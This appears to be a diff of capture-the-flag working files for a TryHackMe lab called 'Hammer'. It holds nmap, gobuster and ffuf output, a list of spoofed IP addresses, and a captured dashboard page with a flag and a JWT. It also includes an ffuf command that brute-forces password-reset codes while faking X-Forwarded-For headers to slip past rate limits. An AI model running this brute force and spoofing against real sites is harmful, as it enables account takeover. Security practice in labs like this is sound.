charset=UTF-8","redirectlocation":"","scraper":{},"duration":2056892730,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf411","FUZZ":"azureuser"},"position":17,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":2056814689,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf46","FUZZ":"adm"},"position":6,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":3054472977,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf44","FUZZ":"guest"},"position":4,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":3054859643,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf45","FUZZ":"info"},"position":5,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":3054967018,"resultfile":"","url":"http://hammer.thm:1337/resLine truncated
+3
View File
@@ -0,0 +1,3 @@
/javascript  (Status: 301) [Size: 320] [--> http://hammer.thm:1337/javascript/]
/vendor  (Status: 301) [Size: 316] [--> http://hammer.thm:1337/vendor/]
/phpmyadmin  (Status: 301) [Size: 320] [--> http://hammer.thm:1337/phpmyadmin/]
+1
View File
@@ -0,0 +1 @@
56058354efb3daa97ebab00fabd7a7d7
+42
View File
@@ -0,0 +1,42 @@
{
"name": "firebase/php-jwt",
"description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.",
"homepage": "https://github.com/firebase/php-jwt",
"keywords": [
"php",
"jwt"
],
"authors": [
{
"name": "Neuman Vong",
"email": "neuman+pear@twilio.com",
"role": "Developer"
},
{
"name": "Anant Narayanan",
"email": "anant@php.net",
"role": "Developer"
}
],
"license": "BSD-3-Clause",
"require": {
"php": "^7.4||^8.0"
},
"suggest": {
"paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present",
"ext-sodium": "Support EdDSA (Ed25519) signatures"
},
"autoload": {
"psr-4": {
"Firebase\\JWT\\": "src"
}
},
"require-dev": {
"guzzlehttp/guzzle": "^6.5||^7.4",
"phpspec/prophecy-phpunit": "^2.0",
"phpunit/phpunit": "^9.5",
"psr/cache": "^1.0||^2.0",
"psr/http-client": "^1.0",
"psr/http-factory": "^1.0"
}
}
File diff suppressed because it is too large. Load diff
+9
View File
@@ -0,0 +1,9 @@
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
+1000
View File
@@ -0,0 +1,1000 @@
192.168.0.0
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.4
192.168.0.5
192.168.0.6
192.168.0.7
192.168.0.8
192.168.0.9
192.168.0.10
192.168.0.11
192.168.0.12
192.168.0.13
192.168.0.14
192.168.0.15
192.168.0.16
192.168.0.17
192.168.0.18
192.168.0.19
192.168.0.20
192.168.0.21
192.168.0.22
192.168.0.23
192.168.0.24
192.168.0.25
192.168.0.26
192.168.0.27
192.168.0.28
192.168.0.29
192.168.0.30
192.168.0.31
192.168.0.32
192.168.0.33
192.168.0.34
192.168.0.35
192.168.0.36
192.168.0.37
192.168.0.38
192.168.0.39
192.168.0.40
192.168.0.41
192.168.0.42
192.168.0.43
192.168.0.44
192.168.0.45
192.168.0.46
192.168.0.47
192.168.0.48
192.168.0.49
192.168.0.50
192.168.0.51
192.168.0.52
192.168.0.53
192.168.0.54
192.168.0.55
192.168.0.56
192.168.0.57
192.168.0.58
192.168.0.59
192.168.0.60
192.168.0.61
192.168.0.62
192.168.0.63
192.168.0.64
192.168.0.65
192.168.0.66
192.168.0.67
192.168.0.68
192.168.0.69
192.168.0.70
192.168.0.71
192.168.0.72
192.168.0.73
192.168.0.74
192.168.0.75
192.168.0.76
192.168.0.77
192.168.0.78
192.168.0.79
192.168.0.80
192.168.0.81
192.168.0.82
192.168.0.83
192.168.0.84
192.168.0.85
192.168.0.86
192.168.0.87
192.168.0.88
192.168.0.89
192.168.0.90
192.168.0.91
192.168.0.92
192.168.0.93
192.168.0.94
192.168.0.95
192.168.0.96
192.168.0.97
192.168.0.98
192.168.0.99
192.168.0.100
192.168.0.101
192.168.0.102
192.168.0.103
192.168.0.104
192.168.0.105
192.168.0.106
192.168.0.107
192.168.0.108
192.168.0.109
192.168.0.110
192.168.0.111
192.168.0.112
192.168.0.113
192.168.0.114
192.168.0.115
192.168.0.116
192.168.0.117
192.168.0.118
192.168.0.119
192.168.0.120
192.168.0.121
192.168.0.122
192.168.0.123
192.168.0.124
192.168.0.125
192.168.0.126
192.168.0.127
192.168.0.128
192.168.0.129
192.168.0.130
192.168.0.131
192.168.0.132
192.168.0.133
192.168.0.134
192.168.0.135
192.168.0.136
192.168.0.137
192.168.0.138
192.168.0.139
192.168.0.140
192.168.0.141
192.168.0.142
192.168.0.143
192.168.0.144
192.168.0.145
192.168.0.146
192.168.0.147
192.168.0.148
192.168.0.149
192.168.0.150
192.168.0.151
192.168.0.152
192.168.0.153
192.168.0.154
192.168.0.155
192.168.0.156
192.168.0.157
192.168.0.158
192.168.0.159
192.168.0.160
192.168.0.161
192.168.0.162
192.168.0.163
192.168.0.164
192.168.0.165
192.168.0.166
192.168.0.167
192.168.0.168
192.168.0.169
192.168.0.170
192.168.0.171
192.168.0.172
192.168.0.173
192.168.0.174
192.168.0.175
192.168.0.176
192.168.0.177
192.168.0.178
192.168.0.179
192.168.0.180
192.168.0.181
192.168.0.182
192.168.0.183
192.168.0.184
192.168.0.185
192.168.0.186
192.168.0.187
192.168.0.188
192.168.0.189
192.168.0.190
192.168.0.191
192.168.0.192
192.168.0.193
192.168.0.194
192.168.0.195
192.168.0.196
192.168.0.197
192.168.0.198
192.168.0.199
192.168.0.200
192.168.0.201
192.168.0.202
192.168.0.203
192.168.0.204
192.168.0.205
192.168.0.206
192.168.0.207
192.168.0.208
192.168.0.209
192.168.0.210
192.168.0.211
192.168.0.212
192.168.0.213
192.168.0.214
192.168.0.215
192.168.0.216
192.168.0.217
192.168.0.218
192.168.0.219
192.168.0.220
192.168.0.221
192.168.0.222
192.168.0.223
192.168.0.224
192.168.0.225
192.168.0.226
192.168.0.227
192.168.0.228
192.168.0.229
192.168.0.230
192.168.0.231
192.168.0.232
192.168.0.233
192.168.0.234
192.168.0.235
192.168.0.236
192.168.0.237
192.168.0.238
192.168.0.239
192.168.0.240
192.168.0.241
192.168.0.242
192.168.0.243
192.168.0.244
192.168.0.245
192.168.0.246
192.168.0.247
192.168.0.248
192.168.0.249
192.168.0.250
192.168.0.251
192.168.0.252
192.168.0.253
192.168.0.254
192.168.0.255
192.168.0.256
192.168.1.0
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
192.168.1.8
192.168.1.9
192.168.1.10
192.168.1.11
192.168.1.12
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.18
192.168.1.19
192.168.1.20
192.168.1.21
192.168.1.22
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.27
192.168.1.28
192.168.1.29
192.168.1.30
192.168.1.31
192.168.1.32
192.168.1.33
192.168.1.34
192.168.1.35
192.168.1.36
192.168.1.37
192.168.1.38
192.168.1.39
192.168.1.40
192.168.1.41
192.168.1.42
192.168.1.43
192.168.1.44
192.168.1.45
192.168.1.46
192.168.1.47
192.168.1.48
192.168.1.49
192.168.1.50
192.168.1.51
192.168.1.52
192.168.1.53
192.168.1.54
192.168.1.55
192.168.1.56
192.168.1.57
192.168.1.58
192.168.1.59
192.168.1.60
192.168.1.61
192.168.1.62
192.168.1.63
192.168.1.64
192.168.1.65
192.168.1.66
192.168.1.67
192.168.1.68
192.168.1.69
192.168.1.70
192.168.1.71
192.168.1.72
192.168.1.73
192.168.1.74
192.168.1.75
192.168.1.76
192.168.1.77
192.168.1.78
192.168.1.79
192.168.1.80
192.168.1.81
192.168.1.82
192.168.1.83
192.168.1.84
192.168.1.85
192.168.1.86
192.168.1.87
192.168.1.88
192.168.1.89
192.168.1.90
192.168.1.91
192.168.1.92
192.168.1.93
192.168.1.94
192.168.1.95
192.168.1.96
192.168.1.97
192.168.1.98
192.168.1.99
192.168.1.100
192.168.1.101
192.168.1.102
192.168.1.103
192.168.1.104
192.168.1.105
192.168.1.106
192.168.1.107
192.168.1.108
192.168.1.109
192.168.1.110
192.168.1.111
192.168.1.112
192.168.1.113
192.168.1.114
192.168.1.115
192.168.1.116
192.168.1.117
192.168.1.118
192.168.1.119
192.168.1.120
192.168.1.121
192.168.1.122
192.168.1.123
192.168.1.124
192.168.1.125
192.168.1.126
192.168.1.127
192.168.1.128
192.168.1.129
192.168.1.130
192.168.1.131
192.168.1.132
192.168.1.133
192.168.1.134
192.168.1.135
192.168.1.136
192.168.1.137
192.168.1.138
192.168.1.139
192.168.1.140
192.168.1.141
192.168.1.142
192.168.1.143
192.168.1.144
192.168.1.145
192.168.1.146
192.168.1.147
192.168.1.148
192.168.1.149
192.168.1.150
192.168.1.151
192.168.1.152
192.168.1.153
192.168.1.154
192.168.1.155
192.168.1.156
192.168.1.157
192.168.1.158
192.168.1.159
192.168.1.160
192.168.1.161
192.168.1.162
192.168.1.163
192.168.1.164
192.168.1.165
192.168.1.166
192.168.1.167
192.168.1.168
192.168.1.169
192.168.1.170
192.168.1.171
192.168.1.172
192.168.1.173
192.168.1.174
192.168.1.175
192.168.1.176
192.168.1.177
192.168.1.178
192.168.1.179
192.168.1.180
192.168.1.181
192.168.1.182
192.168.1.183
192.168.1.184
192.168.1.185
192.168.1.186
192.168.1.187
192.168.1.188
192.168.1.189
192.168.1.190
192.168.1.191
192.168.1.192
192.168.1.193
192.168.1.194
192.168.1.195
192.168.1.196
192.168.1.197
192.168.1.198
192.168.1.199
192.168.1.200
192.168.1.201
192.168.1.202
192.168.1.203
192.168.1.204
192.168.1.205
192.168.1.206
192.168.1.207
192.168.1.208
192.168.1.209
192.168.1.210
192.168.1.211
192.168.1.212
192.168.1.213
192.168.1.214
192.168.1.215
192.168.1.216
192.168.1.217
192.168.1.218
192.168.1.219
192.168.1.220
192.168.1.221
192.168.1.222
192.168.1.223
192.168.1.224
192.168.1.225
192.168.1.226
192.168.1.227
192.168.1.228
192.168.1.229
192.168.1.230
192.168.1.231
192.168.1.232
192.168.1.233
192.168.1.234
192.168.1.235
192.168.1.236
192.168.1.237
192.168.1.238
192.168.1.239
192.168.1.240
192.168.1.241
192.168.1.242
192.168.1.243
192.168.1.244
192.168.1.245
192.168.1.246
192.168.1.247
192.168.1.248
192.168.1.249
192.168.1.250
192.168.1.251
192.168.1.252
192.168.1.253
192.168.1.254
192.168.1.255
192.168.1.256
192.168.2.0
192.168.2.1
192.168.2.2
192.168.2.3
192.168.2.4
192.168.2.5
192.168.2.6
192.168.2.7
192.168.2.8
192.168.2.9
192.168.2.10
192.168.2.11
192.168.2.12
192.168.2.13
192.168.2.14
192.168.2.15
192.168.2.16
192.168.2.17
192.168.2.18
192.168.2.19
192.168.2.20
192.168.2.21
192.168.2.22
192.168.2.23
192.168.2.24
192.168.2.25
192.168.2.26
192.168.2.27
192.168.2.28
192.168.2.29
192.168.2.30
192.168.2.31
192.168.2.32
192.168.2.33
192.168.2.34
192.168.2.35
192.168.2.36
192.168.2.37
192.168.2.38
192.168.2.39
192.168.2.40
192.168.2.41
192.168.2.42
192.168.2.43
192.168.2.44
192.168.2.45
192.168.2.46
192.168.2.47
192.168.2.48
192.168.2.49
192.168.2.50
192.168.2.51
192.168.2.52
192.168.2.53
192.168.2.54
192.168.2.55
192.168.2.56
192.168.2.57
192.168.2.58
192.168.2.59
192.168.2.60
192.168.2.61
192.168.2.62
192.168.2.63
192.168.2.64
192.168.2.65
192.168.2.66
192.168.2.67
192.168.2.68
192.168.2.69
192.168.2.70
192.168.2.71
192.168.2.72
192.168.2.73
192.168.2.74
192.168.2.75
192.168.2.76
192.168.2.77
192.168.2.78
192.168.2.79
192.168.2.80
192.168.2.81
192.168.2.82
192.168.2.83
192.168.2.84
192.168.2.85
192.168.2.86
192.168.2.87
192.168.2.88
192.168.2.89
192.168.2.90
192.168.2.91
192.168.2.92
192.168.2.93
192.168.2.94
192.168.2.95
192.168.2.96
192.168.2.97
192.168.2.98
192.168.2.99
192.168.2.100
192.168.2.101
192.168.2.102
192.168.2.103
192.168.2.104
192.168.2.105
192.168.2.106
192.168.2.107
192.168.2.108
192.168.2.109
192.168.2.110
192.168.2.111
192.168.2.112
192.168.2.113
192.168.2.114
192.168.2.115
192.168.2.116
192.168.2.117
192.168.2.118
192.168.2.119
192.168.2.120
192.168.2.121
192.168.2.122
192.168.2.123
192.168.2.124
192.168.2.125
192.168.2.126
192.168.2.127
192.168.2.128
192.168.2.129
192.168.2.130
192.168.2.131
192.168.2.132
192.168.2.133
192.168.2.134
192.168.2.135
192.168.2.136
192.168.2.137
192.168.2.138
192.168.2.139
192.168.2.140
192.168.2.141
192.168.2.142
192.168.2.143
192.168.2.144
192.168.2.145
192.168.2.146
192.168.2.147
192.168.2.148
192.168.2.149
192.168.2.150
192.168.2.151
192.168.2.152
192.168.2.153
192.168.2.154
192.168.2.155
192.168.2.156
192.168.2.157
192.168.2.158
192.168.2.159
192.168.2.160
192.168.2.161
192.168.2.162
192.168.2.163
192.168.2.164
192.168.2.165
192.168.2.166
192.168.2.167
192.168.2.168
192.168.2.169
192.168.2.170
192.168.2.171
192.168.2.172
192.168.2.173
192.168.2.174
192.168.2.175
192.168.2.176
192.168.2.177
192.168.2.178
192.168.2.179
192.168.2.180
192.168.2.181
192.168.2.182
192.168.2.183
192.168.2.184
192.168.2.185
192.168.2.186
192.168.2.187
192.168.2.188
192.168.2.189
192.168.2.190
192.168.2.191
192.168.2.192
192.168.2.193
192.168.2.194
192.168.2.195
192.168.2.196
192.168.2.197
192.168.2.198
192.168.2.199
192.168.2.200
192.168.2.201
192.168.2.202
192.168.2.203
192.168.2.204
192.168.2.205
192.168.2.206
192.168.2.207
192.168.2.208
192.168.2.209
192.168.2.210
192.168.2.211
192.168.2.212
192.168.2.213
192.168.2.214
192.168.2.215
192.168.2.216
192.168.2.217
192.168.2.218
192.168.2.219
192.168.2.220
192.168.2.221
192.168.2.222
192.168.2.223
192.168.2.224
192.168.2.225
192.168.2.226
192.168.2.227
192.168.2.228
192.168.2.229
192.168.2.230
192.168.2.231
192.168.2.232
192.168.2.233
192.168.2.234
192.168.2.235
192.168.2.236
192.168.2.237
192.168.2.238
192.168.2.239
192.168.2.240
192.168.2.241
192.168.2.242
192.168.2.243
192.168.2.244
192.168.2.245
192.168.2.246
192.168.2.247
192.168.2.248
192.168.2.249
192.168.2.250
192.168.2.251
192.168.2.252
192.168.2.253
192.168.2.254
192.168.2.255
192.168.2.256
192.168.3.0
192.168.3.1
192.168.3.2
192.168.3.3
192.168.3.4
192.168.3.5
192.168.3.6
192.168.3.7
192.168.3.8
192.168.3.9
192.168.3.10
192.168.3.11
192.168.3.12
192.168.3.13
192.168.3.14
192.168.3.15
192.168.3.16
192.168.3.17
192.168.3.18
192.168.3.19
192.168.3.20
192.168.3.21
192.168.3.22
192.168.3.23
192.168.3.24
192.168.3.25
192.168.3.26
192.168.3.27
192.168.3.28
192.168.3.29
192.168.3.30
192.168.3.31
192.168.3.32
192.168.3.33
192.168.3.34
192.168.3.35
192.168.3.36
192.168.3.37
192.168.3.38
192.168.3.39
192.168.3.40
192.168.3.41
192.168.3.42
192.168.3.43
192.168.3.44
192.168.3.45
192.168.3.46
192.168.3.47
192.168.3.48
192.168.3.49
192.168.3.50
192.168.3.51
192.168.3.52
192.168.3.53
192.168.3.54
192.168.3.55
192.168.3.56
192.168.3.57
192.168.3.58
192.168.3.59
192.168.3.60
192.168.3.61
192.168.3.62
192.168.3.63
192.168.3.64
192.168.3.65
192.168.3.66
192.168.3.67
192.168.3.68
192.168.3.69
192.168.3.70
192.168.3.71
192.168.3.72
192.168.3.73
192.168.3.74
192.168.3.75
192.168.3.76
192.168.3.77
192.168.3.78
192.168.3.79
192.168.3.80
192.168.3.81
192.168.3.82
192.168.3.83
192.168.3.84
192.168.3.85
192.168.3.86
192.168.3.87
192.168.3.88
192.168.3.89
192.168.3.90
192.168.3.91
192.168.3.92
192.168.3.93
192.168.3.94
192.168.3.95
192.168.3.96
192.168.3.97
192.168.3.98
192.168.3.99
192.168.3.100
192.168.3.101
192.168.3.102
192.168.3.103
192.168.3.104
192.168.3.105
192.168.3.106
192.168.3.107
192.168.3.108
192.168.3.109
192.168.3.110
192.168.3.111
192.168.3.112
192.168.3.113
192.168.3.114
192.168.3.115
192.168.3.116
192.168.3.117
192.168.3.118
192.168.3.119
192.168.3.120
192.168.3.121
192.168.3.122
192.168.3.123
192.168.3.124
192.168.3.125
192.168.3.126
192.168.3.127
192.168.3.128
192.168.3.129
192.168.3.130
192.168.3.131
192.168.3.132
192.168.3.133
192.168.3.134
192.168.3.135
192.168.3.136
192.168.3.137
192.168.3.138
192.168.3.139
192.168.3.140
192.168.3.141
192.168.3.142
192.168.3.143
192.168.3.144
192.168.3.145
192.168.3.146
192.168.3.147
192.168.3.148
192.168.3.149
192.168.3.150
192.168.3.151
192.168.3.152
192.168.3.153
192.168.3.154
192.168.3.155
192.168.3.156
192.168.3.157
192.168.3.158
192.168.3.159
192.168.3.160
192.168.3.161
192.168.3.162
192.168.3.163
192.168.3.164
192.168.3.165
192.168.3.166
192.168.3.167
192.168.3.168
192.168.3.169
192.168.3.170
192.168.3.171
192.168.3.172
192.168.3.173
192.168.3.174
192.168.3.175
192.168.3.176
192.168.3.177
192.168.3.178
192.168.3.179
192.168.3.180
192.168.3.181
192.168.3.182
192.168.3.183
192.168.3.184
192.168.3.185
192.168.3.186
192.168.3.187
192.168.3.188
192.168.3.189
192.168.3.190
192.168.3.191
192.168.3.192
192.168.3.193
192.168.3.194
192.168.3.195
192.168.3.196
192.168.3.197
192.168.3.198
192.168.3.199
192.168.3.200
192.168.3.201
192.168.3.202
192.168.3.203
192.168.3.204
192.168.3.205
192.168.3.206
192.168.3.207
192.168.3.208
192.168.3.209
192.168.3.210
192.168.3.211
192.168.3.212
192.168.3.213
192.168.3.214
192.168.3.215
192.168.3.216
192.168.3.217
192.168.3.218
192.168.3.219
192.168.3.220
192.168.3.221
192.168.3.222
192.168.3.223
192.168.3.224
192.168.3.225
192.168.3.226
192.168.3.227
192.168.3.228
File diff suppressed because it is too large. Load diff
+21
View File
@@ -0,0 +1,21 @@
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hammer.thm:1337/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/phpmyadmin (Status: 301) [Size: 320] [--> http://hammer.thm:1337/phpmyadmin/]
/vendor (Status: 301) [Size: 316] [--> http://hammer.thm:1337/vendor/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================
Binary file not shown.

After

Width:  |  Height:  |  Size: 435 KiB

+33
View File
@@ -0,0 +1,33 @@
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 13:24 CEST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.43% done; ETC: 13:25 (0:01:09 remaining)
Nmap scan report for hammer.thm (10.10.90.79)
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 40:1d:40:df:3a:40:83:e2:fb:2f:87:92:fb:e3:dd:a9 (RSA)
| 256 af:94:ea:e6:88:91:3d:be:f8:c7:1a:07:b9:0b:9e:24 (ECDSA)
|_ 256 57:e7:f3:97:dd:81:d7:30:3b:5a:b7:12:03:20:50:21 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 46.33 ms 10.14.0.1
2 46.48 ms hammer.thm (10.10.90.79)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.35 seconds
+1
View File
@@ -0,0 +1 @@
{"commandline":"ffuf -w count-9999.txt:W1 -w fake-ip-cut.txt:W2 -u http://hammer.thm:1337/reset_password.php -X POST -d recovery_code=W1\u0026s=80 -b PHPSESSID=67ns90g5fomm1s17dno6d7uk32 -H X-Forwarded-For: W2 -H Content-Type: application/x-www-form-urlencoded -fr Invalid -mode pitchfork -fw 1 -rate 100 -o output.txt","time":"2025-04-12T14:20:19+02:00","results":[{"input":{"FFUFHASH":"49c3b84b","W1":"2122","W2":"192.168.0.122"},"position":2123,"status":200,"length":2190,"words":595,"lines":53,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":43169327,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"}],"config":{"autocalibration":false,"autocalibration_keyword":"FUZZ","autocalibration_perhost":false,"autocalibration_strategies":["basic"],"autocalibration_strings":[],"colors":false,"cmdline":"ffuf -w count-9999.txt:W1 -w fake-ip-cut.txt:W2 -u http://hammer.thm:1337/reset_password.php -X POST -d recovery_code=W1\u0026s=80 -b PHPSESSID=67ns90g5fomm1s17dno6d7uk32 -H X-Forwarded-For: W2 -H Content-Type: application/x-www-form-urlencoded -fr Invalid -mode pitchfork -fw 1 -rate 100 -o output.txt","configfile":"","postdata":"recovery_code=W1\u0026s=80","debuglog":"","delay":{"value":"0.00"},"dirsearch_compatibility":false,"encoders":[],"extensions":[],"fmode":"or","follow_redirects":false,"headers":{"Content-Type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=67ns90g5fomm1s17dno6d7uk32","X-Forwarded-For":"W2"},"ignorebody":false,"ignore_wordlist_comments":false,"inputmode":"pitchfork","cmd_inputnum":100,"inputproviders":[{"name":"wordlist","keyword":"W1","value":"/home/nik/Documents/TryHackMe/CTF/Hammer/count-9999.txt","encoders":"","template":""},{"name":"wordlist","keyword":"W2","value":"/home/nik/Documents/TryHackMe/CTF/Hammer/fake-ip-cut.txt","encoders":"","template":""}],"inputshell":"","json":false,"matchers":{"IsCalibrated":false,"Mutex":{},"Matchers":{"status":{"value":"200-299,301,302,307,401,403,405,500"}},"Filters":{"regexp":{"value":"Invalid"},"word":{"value":"1"}},"PerDomainFilters":{}},"mmode":"or","maxtime":0,"maxtime_job":0,"method":"POST","noninteractive":false,"outputdirectory":"","outputfile":"output.txt","outputformat":"json","OutputSkipEmptyFile":false,"proxyurl":"","quiet":false,"rate":100,"raw":false,"recursion":false,"recursion_depth":0,"recursion_strategy":"default","replayproxyurl":"","requestfile":"","requestproto":"https","scraperfile":"","scrapers":"all","sni":"","stop_403":false,"stop_all":false,"stop_errors":false,"threads":40,"timeout":10,"url":"http://hammer.thm:1337/reset_password.php","verbose":false,"wordlists":["/home/nik/Documents/TryHackMe/CTF/Hammer/count-9999.txt:W1","/home/nik/Documents/TryHackMe/CTF/Hammer/fake-ip-cut.txt:W2"],"http2":false,"client-cert":"","client-key":""}}
+1
View File
@@ -0,0 +1 @@
tester@hammer.thm
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<script src="/hmr_js/jquery-3.6.0.min.js"></script>
<style>
body {
background: url('/hmr_images/hammer.webp') no-repeat center center fixed;
background-size: cover;
}
.container {
position: relative;
z-index: 10; /* Make sure the content is above the background */
background-color: rgba(255, 255, 255, 0.8); /* Slight white background for readability */
padding: 20px;
border-radius: 10px;
}
</style>
<script>
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
function checkTrailUserCookie() {
const trailUser = getCookie('persistentSession');
if (!trailUser) {
window.location.href = 'logout.php';
}
}
setInterval(checkTrailUserCookie, 1000);
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<h3>Welcome, Thor! - Flag: THM{AuthBypass3D}</h3>
<p>Your role: user</p>
<div>
<input type="text" id="command" class="form-control" placeholder="Enter command">
<button id="submitCommand" class="btn btn-primary mt-3">Submit</button>
<pre id="commandOutput" class="mt-3"></pre>
</div>
<a href="logout.php" class="btn btn-danger mt-3">Logout</a>
</div>
</div>
</div>
<script>
$(document).ready(function() {
$('#submitCommand').click(function() {
var command = $('#command').val();
var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzQ0NDYxMzkwLCJleHAiOjE3NDQ0NjQ5OTAsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.CtEofSfkpfpiUx3jureTlS29FfzVOLLkZVaYrl8oP3M';
// Make an AJAX call to the server to execute the command
$.ajax({
url: 'execute_command.php',
method: 'POST',
data: JSON.stringify({ command: command }),
contentType: 'application/json',
headers: {
'Authorization': 'Bearer ' + jwtToken
},
success: function(response) {
$('#commandOutput').text(response.output || response.error);
},
error: function() {
$('#commandOutput').text('Error executing command.');
}
});
});
});
</script>
</body>
</html>
+36
View File
@@ -0,0 +1,36 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-4">
<h3 class="text-center">Login</h3>
<form method="POST" action="">
<div class="mb-3">
<label for="email" class="form-label">Email</label>
<input type="text" class="form-control" id="email" name="email" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
<div class="mt-3 text-center">
<a href="reset_password.php">Forgot your password?</a>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
+66049
View File
File diff suppressed because it is too large. Load diff
+1
View File
@@ -0,0 +1 @@
